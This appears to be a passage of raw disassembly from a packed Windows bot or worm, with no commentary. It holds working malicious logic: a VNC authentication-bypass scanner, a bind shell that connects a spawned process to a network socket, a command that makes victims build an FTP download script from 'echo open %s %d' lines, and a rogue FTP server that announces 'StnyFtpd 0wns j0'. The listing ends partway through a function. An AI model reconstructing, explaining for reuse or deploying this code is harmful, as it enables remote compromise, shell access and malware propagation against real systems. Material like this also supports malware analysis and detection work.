		call	dword_4CBA64	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40EC4D
		push	eax
		jmp	short loc_40EC81
; ---------------------------------------------------------------------------


loc_40EC4D:				; CODE XREF: .packed:0040EC48j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA24	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB9E4	; htons
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB98C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC8C
		push	ebx


loc_40EC81:				; CODE XREF: .packed:0040EC4Bj
		call	dword_4CBA7C	; closesocket
		jmp	loc_40EE87
; ---------------------------------------------------------------------------


loc_40EC8C:				; CODE XREF: .packed:0040EC7Ej
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41CCE3
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40EE80
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40ECD8
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40EE80


loc_40ECD8:				; CODE XREF: .packed:0040ECCCj
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40EE80
		push	1
		push	offset word_4CB89C
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41D9A5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40EE10
		push	edi
		push	esi
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch


loc_40EE10:				; CODE XREF: .packed:0040EE03j
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431808[eax]
		push	ebx
		lea	eax, dword_431808[eax]
		call	dword_427200	; closesocket
		push	1
		pop	eax
		jmp	short loc_40EE89
; ---------------------------------------------------------------------------


loc_40EE80:				; CODE XREF: .packed:0040EC9Dj
					; .packed:0040ECC2j ...
		push	ebx
		call	dword_427200	; closesocket


loc_40EE87:				; CODE XREF: .packed:0040EC87j
		xor	eax, eax


loc_40EE89:				; CODE XREF: .packed:0040EE7Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40EE8E	proc near		; DATA XREF: sub_40EF1C+15Bo

var_404		= byte ptr -404h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EE97:				; CODE XREF: sub_40EE8E+25j
					; sub_40EE8E+41j
		push	0
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4CE718
		call	dword_4CB9FC	; recv
		test	eax, eax
		jle	short loc_40EE97
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	dword_4CE714
		call	dword_4270F0	; WriteFile
		jmp	short loc_40EE97
sub_40EE8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40EED1	proc near		; DATA XREF: sub_40EF1C+142o

var_404		= byte ptr -404h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EEDA:				; CODE XREF: sub_40EED1+2Fj
					; sub_40EED1+49j
		lea	eax, [ebp+var_4]
		and	[ebp+var_4], 0
		push	0
		push	eax
		lea	eax, [ebp+var_404]
		push	400h
		push	eax
		push	dword_4CE708
		call	dword_4270EC	; ReadFile
		cmp	[ebp+var_4], 0
		jle	short loc_40EEDA
		push	0
		lea	eax, [ebp+var_404]
		push	[ebp+var_4]
		push	eax
		push	dword_4CE718
		call	dword_4CBA34	; send
		jmp	short loc_40EEDA
sub_40EED1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40EF1C	proc near		; DATA XREF: sub_401ACD+2CCAo

var_11C		= byte ptr -11Ch
var_98		= dword	ptr -98h
var_7C		= dword	ptr -7Ch
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_38		= word ptr -38h
var_36		= word ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	28h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_11C]
		rep movsd
		push	1
		xor	edi, edi
		pop	esi
		mov	[eax+98h], esi
		push	10h
		lea	eax, [ebp+var_38]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_38], 2
		push	[ebp+var_98]
		call	dword_4CB9E4	; htons
		push	6
		push	esi
		push	2
		mov	[ebp+var_36], ax
		call	dword_4CBA64	; socket
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA10	; bind
		push	5
		push	[ebp+arg_0]
		call	dword_4CBA0C	; listen
		mov	ebx, dword_427108
		mov	esi, dword_427070


loc_40EF9C:				; CODE XREF: sub_40EF1C+1CBj
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	dword_4CBA78	; accept
		mov	dword_4CE718, eax
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4CE714
		push	offset dword_4CE710
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], edi
		call	ebx	; CreatePipe
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	offset dword_4CE70C
		push	offset dword_4CE708
		call	ebx	; CreatePipe
		push	44h
		lea	eax, [ebp+var_7C]
		push	edi
		push	eax
		call	sub_41BF70
		mov	eax, dword_4CE710
		add	esp, 0Ch
		mov	[ebp+var_44], eax
		mov	eax, dword_4CE70C
		mov	[ebp+var_40], eax
		push	edi
		push	1
		lea	eax, [ebp+var_3C]
		push	2
		push	eax
		mov	[ebp+var_7C], 44h
		mov	[ebp+var_50], 101h
		mov	[ebp+var_4C], di
		call	dword_427104	; GetCurrentProcess
		push	eax
		push	dword_4CE70C
		call	dword_427104	; GetCurrentProcess
		push	eax
		call	dword_427100	; DuplicateHandle
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_7C]
		push	eax
		push	edi
		push	edi
		push	4000090h
		lea	eax, [ebp+var_C]
		push	1
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset dword_4346E8
		push	edi
		call	dword_427074	; CreateProcessA
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40EED1
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_427084	; CreateThread
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	edi
		push	offset sub_40EE8E
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	dword_427084	; CreateThread
		push	0FFFFFFFFh
		mov	[ebp+var_10], eax
		push	[ebp+var_28]
		call	dword_4270A8	; WaitForSingleObject
		push	edi
		push	[ebp+var_10]
		call	dword_4270B4	; TerminateThread
		push	edi
		push	[ebp+var_14]
		call	dword_4270B4	; TerminateThread
		push	[ebp+var_10]
		call	esi	; CloseHandle
		push	[ebp+var_14]
		call	esi	; CloseHandle
		push	edi
		push	[ebp+var_28]
		call	dword_4270FC	; TerminateProcess
		push	dword_4CE710
		call	esi	; CloseHandle
		push	dword_4CE714
		call	esi	; CloseHandle
		push	dword_4CE708
		call	esi	; CloseHandle
		push	dword_4CE70C
		call	esi	; CloseHandle
		push	[ebp+var_24]
		call	esi	; CloseHandle
		push	[ebp+var_28]
		call	esi	; CloseHandle
		jmp	loc_40EF9C
sub_40EF1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40F0EC	proc near		; DATA XREF: .packed:0042900Co
		jmp	$+5
sub_40F0EC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40F0F1	proc near
		push	0FFFEh
		push	400h
		call	sub_418BD1
		pop	ecx
		mov	dword_4CE720, eax
		pop	ecx
		retn
sub_40F0F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F108	proc near		; DATA XREF: sub_40BD91+34Do

var_6C0		= byte ptr -6C0h
var_2C0		= byte ptr -2C0h
var_C0		= byte ptr -0C0h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 6C0h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	27h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[eax+98h], esi
		push	10h
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_A4]
		call	dword_4CB9E4	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], ebx
		call	dword_4CBA64	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jnz	short loc_40F1AF
		cmp	[ebp+var_1C], ebx
		jnz	short loc_40F18F
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409869
		add	esp, 14h


loc_40F18F:				; CODE XREF: sub_40F108+65j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415D38
		push	[ebp+var_AC]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_40F1AF:				; CODE XREF: sub_40F108+60j
		mov	eax, [ebp+var_AC]
		push	10h
		imul	eax, 234h
		mov	dword_43E92C[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4CBA10	; bind
		cmp	eax, esi
		mov	ebx, 400h
		jnz	loc_40F2AA
		call	dword_4CB978	; WSAGetLastError
		cmp	eax, 2740h
		jz	short loc_40F22F
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40F20F
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409869
		add	esp, 14h


loc_40F20F:				; CODE XREF: sub_40F108+E5j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415D38
		push	[ebp+var_AC]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread


loc_40F22F:				; CODE XREF: sub_40F108+DEj
		push	0FFFEh
		push	ebx
		call	sub_418BD1
		pop	ecx
		mov	dword_4CE720, eax
		pop	ecx
		mov	[ebp+var_12], ax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		call	dword_4CBA10	; bind
		cmp	eax, esi
		jnz	short loc_40F2AA
		call	dword_4CB978	; WSAGetLastError
		xor	esi, esi
		cmp	[ebp+var_1C], esi
		jnz	short loc_40F28A
		cmp	eax, 2740h
		jz	short loc_40F28A
		push	esi
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409869
		add	esp, 14h


loc_40F28A:				; CODE XREF: sub_40F108+159j
					; sub_40F108+160j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415D38
		push	[ebp+var_AC]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread


loc_40F2AA:				; CODE XREF: sub_40F108+CDj
					; sub_40F108+14Cj
		push	5
		push	edi
		call	dword_4CBA0C	; listen
		cmp	eax, esi
		jz	loc_40F38F
		mov	[ebp+var_4], 10h
		mov	esi, offset byte_429110


loc_40F2C7:				; CODE XREF: sub_40F108+1D7j
					; sub_40F108+227j ...
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_C0]
		push	eax
		push	edi
		call	dword_4CBA78	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_40F2C7
		cmp	[ebp+var_1C], 0
		jnz	short loc_40F308
		push	0
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_20]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_B0]
		call	sub_409869
		add	esp, 14h


loc_40F308:				; CODE XREF: sub_40F108+1DDj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_2C0]
		push	0
		push	200h
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9FC	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F2C7
		push	esi
		push	esi
		push	dword_4CB720
		push	[ebp+var_B0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d >> o&echo user 1 >>o &e"...
		lea	eax, [ebp+var_6C0]
		push	ebx
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_6C0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6C0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F2C7
		inc	dword_4CE728
		jmp	loc_40F2C7
; ---------------------------------------------------------------------------


loc_40F38F:				; CODE XREF: sub_40F108+1ADj
		push	edi
		call	dword_4CBA7C	; closesocket
		push	[ebp+var_AC]
		call	sub_40B6D6
		pop	ecx
		push	0
		call	dword_4270D4	; ExitThread
sub_40F108	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F3AA	proc near		; DATA XREF: sub_40BD91+22Ao

var_A70		= byte ptr -0A70h
var_8E0		= byte ptr -8E0h
var_6E0		= dword	ptr -6E0h
var_4C8		= byte ptr -4C8h
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_43C		= dword	ptr -43Ch
var_338		= byte ptr -338h
var_2D4		= byte ptr -2D4h
var_2A0		= byte ptr -2A0h
var_23C		= byte ptr -23Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_128		= byte ptr -128h
var_FC		= byte ptr -0FCh
var_C8		= byte ptr -0C8h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= dword	ptr -38h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A70h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6E0]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A70]
		xor	esi, esi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_22C], esi
		mov	[ebp+var_43C], esi
		call	dword_4271D8	; WSAStartup
		push	esi
		push	ebx
		push	2
		call	dword_427204	; socket
		mov	esi, dword_4271DC
		lea	ecx, [ebp+var_28]
		push	4
		push	ecx
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	eax
		mov	[ebp+var_8], eax
		call	esi	; setsockopt
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		mov	edi, [ebp+var_8]
		push	edi
		call	esi	; setsockopt
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4271E0	; ioctlsocket
		mov	ax, word ptr dword_4CB720
		and	[ebp+var_38], 0
		push	eax
		mov	[ebp+var_3C], 2
		call	dword_4CB9E4	; htons
		mov	[ebp+var_3A], ax
		lea	eax, [ebp+var_3C]
		push	10h
		push	eax
		push	edi
		call	dword_4271E4	; bind
		test	eax, eax
		jge	short loc_40F470
		mov	eax, ebx
		jmp	loc_40F9B8
; ---------------------------------------------------------------------------


loc_40F470:				; CODE XREF: sub_40F3AA+BDj
		push	0Ah
		push	edi
		call	dword_4271E8	; listen
		mov	[ebp+var_22C], ebx
		mov	ebx, dword_427208
		mov	[ebp+var_228], edi
		mov	[ebp+var_4], edi


loc_40F48E:				; CODE XREF: sub_40F3AA+11Dj
					; sub_40F3AA+606j
		push	41h
		lea	esi, [ebp+var_22C]
		pop	ecx
		lea	edi, [ebp+var_43C]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_43C]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_42720C	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F9B5
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_40F48E


loc_40F4C9:				; CODE XREF: sub_40F3AA+600j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_41BF70
		push	64h
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		lea	eax, [ebp+var_43C]
		push	eax
		push	edi
		call	sub_426350	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40F9A3
		cmp	edi, [ebp+var_8]
		jnz	short loc_40F580
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		push	[ebp+var_8]
		call	dword_4271EC	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F9A3
		xor	ecx, ecx
		cmp	[ebp+var_22C], esi
		jbe	short loc_40F54A
		lea	edx, [ebp+var_228]


loc_40F53A:				; CODE XREF: sub_40F3AA+19Ej
		cmp	[edx], eax
		jz	short loc_40F54A
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_22C]
		jb	short loc_40F53A


loc_40F54A:				; CODE XREF: sub_40F3AA+188j
					; sub_40F3AA+192j
		cmp	ecx, [ebp+var_22C]
		jnz	short loc_40F568
		cmp	[ebp+var_22C], 40h
		jnb	short loc_40F568
		mov	[ebp+ecx*4+var_228], eax
		inc	[ebp+var_22C]


loc_40F568:				; CODE XREF: sub_40F3AA+1A6j
					; sub_40F3AA+1AFj
		cmp	eax, [ebp+var_4]
		jle	short loc_40F570
		mov	[ebp+var_4], eax


loc_40F570:				; CODE XREF: sub_40F3AA+1C1j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_40F9A3
; ---------------------------------------------------------------------------


loc_40F580:				; CODE XREF: sub_40F3AA+15Aj
		push	esi
		lea	eax, [ebp+var_2A0]
		push	64h
		push	eax
		push	edi
		call	dword_4271FC	; recv
		test	eax, eax
		jg	short loc_40F5E7
		mov	edx, [ebp+var_22C]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_40F5DB
		lea	eax, [ebp+var_228]


loc_40F5A7:				; CODE XREF: sub_40F3AA+207j
		cmp	[eax], edi
		jz	short loc_40F5B5
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_40F5A7
		jmp	short loc_40F5DB
; ---------------------------------------------------------------------------


loc_40F5B5:				; CODE XREF: sub_40F3AA+1FFj
		dec	edx
		cmp	ecx, edx
		jnb	short loc_40F5D5
		lea	eax, [ebp+ecx*4+var_228]


loc_40F5C1:				; CODE XREF: sub_40F3AA+229j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_22C]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_40F5C1


loc_40F5D5:				; CODE XREF: sub_40F3AA+20Ej
		dec	[ebp+var_22C]


loc_40F5DB:				; CODE XREF: sub_40F3AA+1F5j
					; sub_40F3AA+209j
		push	edi
		call	dword_427200	; closesocket
		jmp	loc_40F9A3
; ---------------------------------------------------------------------------


loc_40F5E7:				; CODE XREF: sub_40F3AA+1E9j
		lea	eax, [ebp+var_338]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aSS_0	; "%s %s"
		push	eax
		call	sub_41CCE3
		lea	eax, [ebp+var_B0]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_41CA50
		add	esp, 18h
		test	eax, eax
		jnz	short loc_40F62B
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_40F6AD
; ---------------------------------------------------------------------------


loc_40F62B:				; CODE XREF: sub_40F3AA+272j
		lea	eax, [ebp+var_B0]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F64C
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	short loc_40F6AD
; ---------------------------------------------------------------------------


loc_40F64C:				; CODE XREF: sub_40F3AA+296j
		lea	eax, [ebp+var_B0]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F66D
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	short loc_40F6AD
; ---------------------------------------------------------------------------


loc_40F66D:				; CODE XREF: sub_40F3AA+2B7j
		lea	eax, [ebp+var_B0]
		push	offset aRest	; "REST"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F68E
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	short loc_40F6AD
; ---------------------------------------------------------------------------


loc_40F68E:				; CODE XREF: sub_40F3AA+2D8j
		lea	eax, [ebp+var_B0]
		push	offset off_434934
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F6B3
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"


loc_40F6AD:				; CODE XREF: sub_40F3AA+27Cj
					; sub_40F3AA+2A0j ...
		push	edi
		jmp	loc_40F98C
; ---------------------------------------------------------------------------


loc_40F6B3:				; CODE XREF: sub_40F3AA+2F9j
		mov	edi, offset aType ; "TYPE"
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F6EF
		lea	eax, [ebp+var_338]
		push	offset aA_0	; "A"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F6EF
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_40F989
; ---------------------------------------------------------------------------


loc_40F6EF:				; CODE XREF: sub_40F3AA+31Fj
					; sub_40F3AA+336j
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F726
		lea	eax, [ebp+var_338]
		push	offset aI_0	; "I"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F726
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_40F989
; ---------------------------------------------------------------------------


loc_40F726:				; CODE XREF: sub_40F3AA+356j
					; sub_40F3AA+36Dj
		lea	eax, [ebp+var_B0]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F771
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_128]
		rep movsd
		push	eax
		lea	eax, [ebp+var_128]
		push	eax
		movsw
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_128]


loc_40F764:				; CODE XREF: sub_40F3AA+406j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi
		jmp	loc_40F98E
; ---------------------------------------------------------------------------


loc_40F771:				; CODE XREF: sub_40F3AA+391j
		lea	eax, [ebp+var_B0]
		push	offset aList_0	; "LIST"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F7B2
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		movsb
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C8]
		jmp	short loc_40F764
; ---------------------------------------------------------------------------


loc_40F7B2:				; CODE XREF: sub_40F3AA+3DCj
		lea	eax, [ebp+var_B0]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F883
		lea	eax, [ebp+var_2D4]
		push	eax
		lea	eax, [ebp+var_FC]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2A0]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_41CCE3
		lea	eax, [ebp+var_FC]
		push	eax
		call	sub_41C159
		mov	edi, eax
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_41C159
		mov	[ebp+var_C], eax
		push	32h
		lea	eax, [ebp+var_FC]
		push	esi
